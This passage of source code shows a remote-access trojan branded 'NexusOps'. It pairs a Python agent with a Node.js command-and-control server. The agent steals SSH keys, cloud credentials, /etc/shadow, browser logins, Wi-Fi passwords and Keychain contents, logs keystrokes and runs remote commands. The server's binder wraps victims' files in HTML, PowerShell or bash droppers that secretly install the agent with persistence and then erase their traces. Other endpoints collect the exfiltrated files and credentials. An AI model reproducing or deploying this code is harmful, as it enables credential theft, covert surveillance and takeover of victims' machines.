                        content = f.read()[-20000:]
                    creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
                except: pass
        # SSH keys
        ssh_dir = os.path.join(home, ".ssh")
        if os.path.exists(ssh_dir):
            for fn in os.listdir(ssh_dir):
                fp = os.path.join(ssh_dir, fn)
                if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
                    try:
                        with open(fp, 'r', errors='ignore') as f:
                            creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
                    except: pass
        # AWS / cloud credentials
        for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
                    "~/.azure/accessTokens.json", "~/.docker/config.json"]:
            p = os.path.expanduser(cf)
            if os.path.exists(p):
                try:
                    with open(p, 'r', errors='ignore') as f:
                        creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
                except: pass
        # /etc/shadow (if root)
        if os.path.exists("/etc/shadow"):
            try:
                with open("/etc/shadow", 'r') as f:
                    creds.append({"type": "system:shadow", "data": f.read()[:5000]})
            except: pass
        # Browser cookie/saved-login DBs (common paths)
        browser_paths = []
        if system == "linux":
            browser_paths = [
                os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
                os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
                os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
                os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
                os.path.expanduser("~/.config/chromium/Default/Cookies"),
                os.path.expanduser("~/.config/chromium/Default/Login Data"),
                os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
            ]
        elif system == "darwin":
            browser_paths = [
                os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
                os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
                os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
            ]
        elif system == "windows":
            browser_paths = [
                os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
                os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
                os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
            ]
        import glob
        for pattern in browser_paths:
            for p in glob.glob(pattern):
                try:
                    sz = os.path.getsize(p)
                    if sz > 0 and sz < 50 * 1024 * 1024:
                        with open(p, 'rb') as f:
                            import base64
                            creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
                                          "data": base64.b64encode(f.read()).decode('utf-8')})
                except: pass
        # Wi-Fi passwords (Linux)
        if system == "linux":
            try:
                wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
                                      shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
                if wifi.strip() and 'no wifi' not in wifi:
                    creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
            except: pass
        # macOS Keychain dump
        if system == "darwin":
            try:
                keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
                                          shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
                if keychain.strip():
                    creds.append({"type": "keychain_dump", "data": keychain[:10000]})
            except: pass

        return json.dumps({"type":"harvest_result","credentials":creds}), 0

    elif action_type == "export_diagnostics":
        cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
        return run_shell(cmd)

    return f"Unknown action type: {action_type}", 1

def run_shell(cmd_str):
    if not quiet_mode:
        print(f"[*] Executing command: {cmd_str}")
    try:
        res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
        return res.stdout, res.returncode
    except Exception as e:
        return str(e), 1

# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []

try:
    from pynput import keyboard, mouse
    INPUT_CAPTURE_ENABLED = True
except ImportError:
    pass

def _get_active_window_title():
    """Try to get the active window title cross-platform."""
    system = platform.system().lower()
    try:
        if system == "linux":
            res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
            if res.returncode == 0:
                return res.stdout.strip()
        elif system == "windows":
            import ctypes
            from ctypes import wintypes
            user32 = ctypes.windll.user32
            hwnd = user32.GetForegroundWindow()
            length = user32.GetWindowTextLengthW(hwnd)
            buf = ctypes.create_unicode_buffer(length + 1)
            user32.GetWindowTextW(hwnd, buf, length + 1)
            return buf.value
        elif system == "darwin":
            script = 'tell application "System Events" to get name of first application process whose frontmost is true'
            res = subprocess.run(["osascript", "-e", script],
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
            if res.returncode == 0:
                return res.stdout.strip()
    except Exception:
        pass
    return ""

def _record_event(event_type, data):
    """Thread-safe event recording."""
    global captured_events
    window_title = _get_active_window_title()
    captured_events.append({
        "timestamp": int(time.time() * 1000),
        "eventType": event_type,
        "data": data,
        "windowTitle": window_title,
        "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
    })

def _on_key_press(key):
    try:
        key_str = key.char if hasattr(key, 'char') and key.char else str(key)
    except Exception:
        key_str = str(key)
    _record_event("keystroke", {"key": key_str})

def _on_click(x, y, button, pressed):
    if pressed:
        _record_event("click", {"x": x, "y": y, "button": str(button)})

def _on_scroll(x, y, dx, dy):
    _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})

def start_input_capture():
    """Start keyboard and mouse listeners if pynput is available."""
    if not INPUT_CAPTURE_ENABLED:
        return False
    try:
        kb_listener = keyboard.Listener(on_press=_on_key_press)
        ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
        kb_listener.daemon = True
        ms_listener.daemon = True
        kb_listener.start()
        ms_listener.start()
        return True
    except Exception:
        return False

def flush_input_events(server_url, node_id, hostname):
    """Send captured input events to the master server."""
    global captured_events
    if not captured_events:
        return
    events_to_send = captured_events[:]
    captured_events = []
    payload = {
        "nodeId": node_id,
        "hostname": hostname,
        "events": events_to_send
    }
    http_post(f"{server_url}/api/agent/input-capture", payload)

def main():
    global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
    parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
    parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
    parser.add_argument("--silent", action="store_true", help="Suppress all console output")
    parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
    args = parser.parse_args()

    silent = args.silent  # suppress banner only — keep logs flowing for launchd/systemd
    global quiet_mode
    quiet_mode = args.quiet or args.silent

    server_url = args.server.rstrip('/')
    hostname = socket.gethostname()
    system_os = platform.system()
    arch = platform.machine()
    ip = get_ip_address()
    node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"

    if not quiet_mode:
        print("==================================================")
        print("      NexusOps Cross-Platform Node Agent          ")
        print("==================================================")
        print(f"Node Hostname : {hostname}")
        print(f"Platform      : {system_os} ({arch})")
        print(f"Local IP      : {ip}")
        print(f"Server Endpoint: {server_url}")
        print("==================================================")

    # Register Node
    reg_payload = {
        "nodeId": node_id,
        "hostname": hostname,
        "platform": system_os.lower(),
        "arch": arch,
        "ip": ip,
        "osName": f"{system_os} {platform.release()}",
        "tags": node_tags
    }

    if not quiet_mode:
        print("[*] Registering node with central endpoint...")
    res = http_post(f"{server_url}/api/agent/register", reg_payload)
    if res and res.get("success") and not quiet_mode:
        print(f"✅ Registered as node ID: {node_id}")

    # Start input capture (keystrokes, clicks, scroll)
    capture_started = start_input_capture()
    if not quiet_mode:
        if capture_started:
            print("[*] Input capture active (keystrokes + mouse events)")
        else:
            print("[!] Input capture unavailable (install pynput: pip install pynput)")

    last_input_flush = time.time()
    backoff = 1  # Tunnel reconnection backoff in seconds

    while True:
        try:
            cpu = get_cpu_usage()
            mem = get_memory_usage()
            disk = get_disk_usage()
            uptime = get_uptime_seconds()

            heartbeat_payload = {
                "nodeId": node_id,
                "cpuUsage": cpu,
                "memUsage": mem,
                "diskUsage": disk,
                "uptime": uptime,
                "processCount": get_process_count(),
                "tags": node_tags,
                "heartbeatInterval": heartbeat_interval
            }

            res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)

            now = time.time()
            if now - last_log_check_time > 15:
                logs = collect_recent_system_logs()
                if logs:
                    http_post(f"{server_url}/api/agent/logs", {
                        "nodeId": node_id,
                        "hostname": hostname,
                        "logs": logs
                    })
                last_log_check_time = now

            # Flush captured input events every 10 seconds
            if now - last_input_flush > 10:
                flush_input_events(server_url, node_id, hostname)
                last_input_flush = now

            if res and "commands" in res and res["commands"]:
                for cmd_item in res["commands"]:
                    cmd_id = cmd_item.get("id")
                    action_type = cmd_item.get("actionType", "raw_command")
                    payload = cmd_item.get("payload", {})
                    
                    if "command" in cmd_item and not payload:
                        payload["command"] = cmd_item.get("command")

                    output, exit_code = execute_structured_action(action_type, payload)

                    # Check for JSON-encoded special result types
                    special = None
                    try:
                        if output.startswith('{'):
                            special = json.loads(output)
                    except: pass

                    if special and special.get("type") == "file_result":
                        # Route to file-result endpoint
                        http_post(f"{server_url}/api/agent/file-result", {
                            "commandId": cmd_id,
                            "nodeId": node_id,
                            "hostname": hostname,
                            "filename": special.get("filename", "unknown"),
                            "data": special.get("data", ""),
                            "mime": special.get("mime", "application/octet-stream")
                        })
                    elif special and special.get("type") == "harvest_result":
                        http_post(f"{server_url}/api/agent/harvest-result", {
                            "commandId": cmd_id,
                            "nodeId": node_id,
                            "hostname": hostname,
                            "credentials": special.get("credentials", [])
                        })
                    else:
                        http_post(f"{server_url}/api/agent/command-result", {
                            "commandId": cmd_id,
                            "nodeId": node_id,
                            "output": output,
                            "exitCode": exit_code
                        })

        except Exception as e:
            if not quiet_mode:
                print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
            time.sleep(backoff)
            backoff = min(backoff * 2, 60)
            continue

        backoff = 1  # Reset on success
        time.sleep(heartbeat_interval)

if __name__ == "__main__":
    main()
";
|
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
|
if (!req.file) {
|
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
|
}
|
|
|
|
const originalName = req.file.originalname;
|
|
const b64Content = req.file.buffer.toString('base64');
|
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
|
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const format = (req.query.format || 'sh').toLowerCase();
|
|
|
|
let dropper, boundName, contentType;
|
|
|
|
// ── HTML Payload (one-click social engineering, auto-downloads file) ──
|
|
if (format === 'html') {
|
|
const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\');
|
|
const safeB64 = b64Content;
|
|
dropper = `<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>${safeName}</title>
|
|
<style>
|
|
body { background:#0f172a; color:#e2e8f0; font-family:system-ui; display:flex; align-items:center; justify-content:center; height:100vh; margin:0; flex-direction:column; }
|
|
.card { background:#1e293b; border-radius:16px; padding:2.5rem; text-align:center; max-width:420px; box-shadow:0 25px 50px rgba(0,0,0,0.5); border:1px solid #334155; }
|
|
h1 { font-size:1.5rem; margin:0 0 0.5rem; } p { color:#94a3b8; margin:0 0 1.5rem; font-size:0.9rem; }
|
|
.spinner { width:48px; height:48px; border:4px solid #334155; border-top-color:#06b6d4; border-radius:50%%; animation:spin 0.8s linear infinite; margin:0 auto 1.5rem; }
|
|
@keyframes spin { to { transform:rotate(360deg); } }
|
|
.filename { color:#06b6d4; font-family:monospace; font-size:0.85rem; word-break:break-all; }
|
|
.btn { display:inline-block; background:#06b6d4; color:#fff; border:none; padding:0.75rem 2rem; border-radius:8px; font-size:1rem; cursor:pointer; text-decoration:none; font-weight:600; }
|
|
</style></head><body>
|
|
<div class="card">
|
|
<div class="spinner"></div>
|
|
<h1>Opening your file…</h1>
|
|
<p class="filename">${safeName}</p>
|
|
<a class="btn" id="dl" href="#">Download & Open</a>
|
|
</div>
|
|
<script>
|
|
(function(){
|
|
const b64 = "${safeB64}";
|
|
const name = "${safeName}";
|
|
function go(){
|
|
const bin = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
|
|
const blob = new Blob([bin]);
|
|
const url = URL.createObjectURL(blob);
|
|
const a = document.createElement('a');
|
|
a.href = url; a.download = name; a.click();
|
|
setTimeout(() => URL.revokeObjectURL(url), 60000);
|
|
}
|
|
go();
|
|
document.getElementById('dl').addEventListener('click', e => { e.preventDefault(); go(); });
|
|
})();
|
|
<\/script></body></html>`;
|
|
boundName = originalName + '.html';
|
|
contentType = 'text/html';
|
|
}
|
|
|
|
// ── PowerShell Self-Contained Dropper (Windows) ──
|
|
else if (format === 'ps1') {
|
|
const psLines = [
|
|
'<#',
|
|
' Self-Extracting Dropper — ' + originalName,
|
|
' NexusOps Agent Binder v2 (self-contained, no network)',
|
|
'#>',
|
|
'',
|
|
'$ORIGINAL_NAME = "' + originalName + '"',
|
|
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
|
|
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
|
|
'$AGENT_DIR = "$env:ProgramData\\NetworkAgent"',
|
|
'$SERVER_URL = "' + serverUrl + '"',
|
|
'',
|
|
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
|
'New-Item -ItemType Directory -Path $AGENT_DIR -Force | Out-Null',
|
|
'',
|
|
'$scriptPath = $MyInvocation.MyCommand.Path',
|
|
'$lines = Get-Content $scriptPath',
|
|
'$fileMarker = [array]::IndexOf($lines, "__FILE_BASE64__")',
|
|
'$agentMarker = [array]::IndexOf($lines, "__AGENT_BASE64__")',
|
|
'if ($fileMarker -ge 0 -and $agentMarker -ge 0) {',
|
|
' $fileB64 = ($lines[($fileMarker+1)..($agentMarker-1)] -join "")',
|
|
' $agentB64 = ($lines[($agentMarker+1)..($lines.Length-1)] -join "")',
|
|
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($fileB64))',
|
|
' [IO.File]::WriteAllBytes("$AGENT_DIR\\agent.py", [Convert]::FromBase64String($agentB64))',
|
|
'}',
|
|
'',
|
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
|
'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null',
|
|
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
|
'',
|
|
'__FILE_BASE64__',
|
|
...b64Lines,
|
|
'__AGENT_BASE64__',
|
|
...agentLines
|
|
];
|
|
dropper = psLines.join('\r\n');
|
|
boundName = originalName + '.ps1';
|
|
contentType = 'text/plain';
|
|
}
|
|
|
|
// ── Bash Self-Contained Dropper (Linux/macOS — DEFAULT) ──
|
|
else {
|
|
dropper = [
|
|
'#!/bin/bash',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'# NexusOps v2 Self-Contained Dropper',
|
|
`# File: ${originalName}`,
|
|
'# Agent is embedded — no network needed',
|
|
'# ═══════════════════════════════════════════════════════',
|
|
'set -e',
|
|
'',
|
|
`ORIGINAL_NAME="${originalName}"`,
|
|
'OUTPUT_DIR="/tmp/.nexus-$$"',
|
|
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
|
|
`SERVER_URL="${serverUrl}"`,
|
|
'AGENT_DIR="/opt/network-agent"',
|
|
'',
|
|
'mkdir -p "$OUTPUT_DIR" "$AGENT_DIR"',
|
|
'',
|
|
'# ── Extract payloads ──',
|
|
'FILE_START=$(awk \'$0 == "__FILE_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'AGENT_START=$(awk \'$0 == "__AGENT_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'FILE_LINES=$((AGENT_START - FILE_START - 1))',
|
|
'tail -n +$FILE_START "$0" | head -n $FILE_LINES | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
|
'tail -n +$AGENT_START "$0" | base64 -d > "$AGENT_DIR/agent.py" 2>/dev/null',
|
|
'chmod +x "$AGENT_DIR/agent.py"',
|
|
'',
|
|
'# ── Open original file ──',
|
|
'if command -v xdg-open &>/dev/null; then xdg-open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v open &>/dev/null; then open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
|
'fi',
|
|
'',
|
|
'# ── Install agent persistence (OS-aware) ──',
|
|
'case "$(uname -s 2>/dev/null)" in',
|
|
' Linux)',
|
|
' cat > /etc/systemd/system/network-agent.service << UNITEOF',
|
|
'[Unit]',
|
|
'Description=NexusOps Node Agent',
|
|
'After=network.target',
|
|
'[Service]',
|
|
'Type=simple',
|
|
'ExecStart=/usr/bin/python3 -u $AGENT_DIR/agent.py --server $SERVER_URL --silent',
|
|
'Restart=always',
|
|
'RestartSec=5',
|
|
'[Install]',
|
|
'WantedBy=multi-user.target',
|
|
'UNITEOF',
|
|
' systemctl daemon-reload 2>/dev/null || true',
|
|
' systemctl enable network-agent 2>/dev/null || true',
|
|
' systemctl restart network-agent 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
' Darwin)',
|
|
' mkdir -p "$HOME/Library/LaunchAgents"',
|
|
' cat > "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" << PLISTEOF',
|
|
'<?xml version="1.0" encoding="UTF-8"?>',
|
|
'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">',
|
|
'<plist version="1.0"><dict>',
|
|
'<key>Label</key><string>com.nexusops.agent</string>',
|
|
'<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>-u</string><string>$AGENT_DIR/agent.py</string><string>--server</string><string>$SERVER_URL</string><string>--silent</string></array>',
|
|
'<key>RunAtLoad</key><true/>',
|
|
'<key>KeepAlive</key><true/>',
|
|
'</dict></plist>',
|
|
'PLISTEOF',
|
|
' launchctl bootout gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' launchctl bootstrap gui/$(id -u) "$HOME/Library/LaunchAgents/com.nexusops.agent.plist" 2>/dev/null || true',
|
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
|
' ;;',
|
|
'esac',
|
|
'',
|
|
'# ── Self-destruct temp dir ──',
|
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
|
'disown',
|
|
'',
|
|
'exit 0',
|
|
'__FILE_BASE64__',
|
|
b64Content,
|
|
'__AGENT_BASE64__',
|
|
AGENT_B64
|
|
].join('\n');
|
|
boundName = originalName + '.sh';
|
|
contentType = 'application/x-sh';
|
|
}
|
|
|
|
res.setHeader('Content-Type', contentType);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
|
|
res.send(dropper);
|
|
});
|
|
|
|
app.post('/api/agent/register', (req, res) => {
|
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
|
|
|
const existingNode = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
const nodeData = {
|
|
id: nodeId,
|
|
hostname: hostname || 'Unknown-Host',
|
|
platform: platform || 'linux',
|
|
arch: arch || 'x64',
|
|
osName: osName || platform,
|
|
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
|
|
status: 'online',
|
|
firstSeen: existingNode ? existingNode.firstSeen : now,
|
|
lastHeartbeat: now,
|
|
cpuUsage: 0,
|
|
memUsage: 0,
|
|
diskUsage: 0,
|
|
uptime: 0,
|
|
processCount: 0,
|
|
tags: tags || ['Default'],
|
|
heartbeatInterval: 5,
|
|
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
|
};
|
|
|
|
nodes.set(nodeId, nodeData);
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
|
|
broadcastState();
|
|
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
|
|
});
|
|
|
|
// Agent Heartbeat
|
|
app.post('/api/agent/heartbeat', (req, res) => {
|
|
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
|
|
|
|
if (!nodeId || !nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not registered.' });
|
|
}
|
|
|
|
const node = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
node.status = 'online';
|
|
node.lastHeartbeat = now;
|
|
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
|
|
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
|
|
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
|
|
node.uptime = uptime || node.uptime;
|
|
node.processCount = processCount || node.processCount;
|
|
if (tags) node.tags = tags;
|
|
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
|
|
|
|
if (!node.metricsHistory) node.metricsHistory = [];
|
|
node.metricsHistory.push({
|
|
timestamp: new Date().toLocaleTimeString(),
|
|
cpu: node.cpuUsage,
|
|
mem: node.memUsage,
|
|
disk: node.diskUsage
|
|
});
|
|
if (node.metricsHistory.length > 30) {
|
|
node.metricsHistory.shift();
|
|
}
|
|
|
|
nodes.set(nodeId, node);
|
|
broadcastState();
|
|
|
|
const queue = commandQueues.get(nodeId) || [];
|
|
const pendingCommands = [...queue];
|
|
commandQueues.set(nodeId, []);
|
|
|
|
res.json({ success: true, commands: pendingCommands });
|
|
});
|
|
|
|
// Command Result Callback
|
|
app.post('/api/agent/command-result', (req, res) => {
|
|
const { commandId, nodeId, output, exitCode } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
|
entry.output = output;
|
|
entry.completedAt = Date.now();
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Queue Command for Single Node
|
|
app.post('/api/nodes/:id/command', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
const { command, actionType, payload } = req.body;
|
|
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
|
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
commandQueues.get(nodeId).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId,
|
|
hostname: nodes.get(nodeId).hostname,
|
|
command: command || `${actionName} (${JSON.stringify(payload)})`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, commandId });
|
|
});
|
|
|
|
// Queue Bulk Command
|
|
app.post('/api/nodes/bulk-command', (req, res) => {
|
|
const { command, actionType, payload } = req.body;
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
|
|
if (onlineNodes.length === 0) {
|
|
return res.status(400).json({ error: 'No online nodes available' });
|
|
}
|
|
|
|
const queuedIds = [];
|
|
onlineNodes.forEach(node => {
|
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(node.id)) {
|
|
commandQueues.set(node.id, []);
|
|
}
|
|
commandQueues.get(node.id).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId: node.id,
|
|
hostname: node.hostname,
|
|
command: `[BULK] ${command || actionName}`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
|
|
});
|
|
|
|
app.delete('/api/nodes/:id', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
nodes.delete(nodeId);
|
|
commandQueues.delete(nodeId);
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Kill Switch — shutdown all agents on all nodes ──
|
|
app.post('/api/nodes/killswitch', (req, res) => {
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
if (onlineNodes.length === 0) {
|
|
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
|
|
}
|
|
onlineNodes.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: `kill-${Date.now()}`,
|
|
actionType: 'kill_agent',
|
|
payload: {},
|
|
command: 'kill_agent',
|
|
createdAt: Date.now()
|
|
});
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
|
});
|
|
|
|
// ── Export Input Capture as CSV ──
|
|
app.get('/api/inputs/csv', (req, res) => {
|
|
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
|
|
inputDataStore.slice(-500).forEach(e => {
|
|
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
|
|
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// ── Ping node — latency check ──
|
|
app.post('/api/nodes/:id/ping', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
const cmdId = `ping-${Date.now()}`;
|
|
commandQueues.get(nodeId).push({
|
|
id: cmdId,
|
|
actionType: 'ping_check',
|
|
payload: { timestamp: Date.now() },
|
|
command: 'ping_check',
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, commandId: cmdId });
|
|
});
|
|
|
|
// ── File Exfiltration — agent sends file back ──
|
|
app.post('/api/agent/file-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
|
|
else entry.output = `[FILE ERROR] ${error}`;
|
|
}
|
|
if (!error && data) {
|
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
|
exfiltratedFiles.set(fileId, {
|
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
|
});
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Download exfiltrated file ──
|
|
app.get('/api/files/:id', (req, res) => {
|
|
const file = exfiltratedFiles.get(req.params.id);
|
|
if (!file) return res.status(404).json({ error: 'File not found' });
|
|
const buf = Buffer.from(file.data, 'base64');
|
|
res.setHeader('Content-Type', file.mime);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
|
|
res.send(buf);
|
|
});
|
|
|
|
// ── List exfiltrated files ──
|
|
app.get('/api/files', (req, res) => {
|
|
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
|
|
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
|
|
mime: f.mime, size: f.size, timestamp: f.timestamp
|
|
})));
|
|
});
|
|
|
|
// ── Credential Harvest Result ──
|
|
app.post('/api/agent/harvest-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, credentials, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
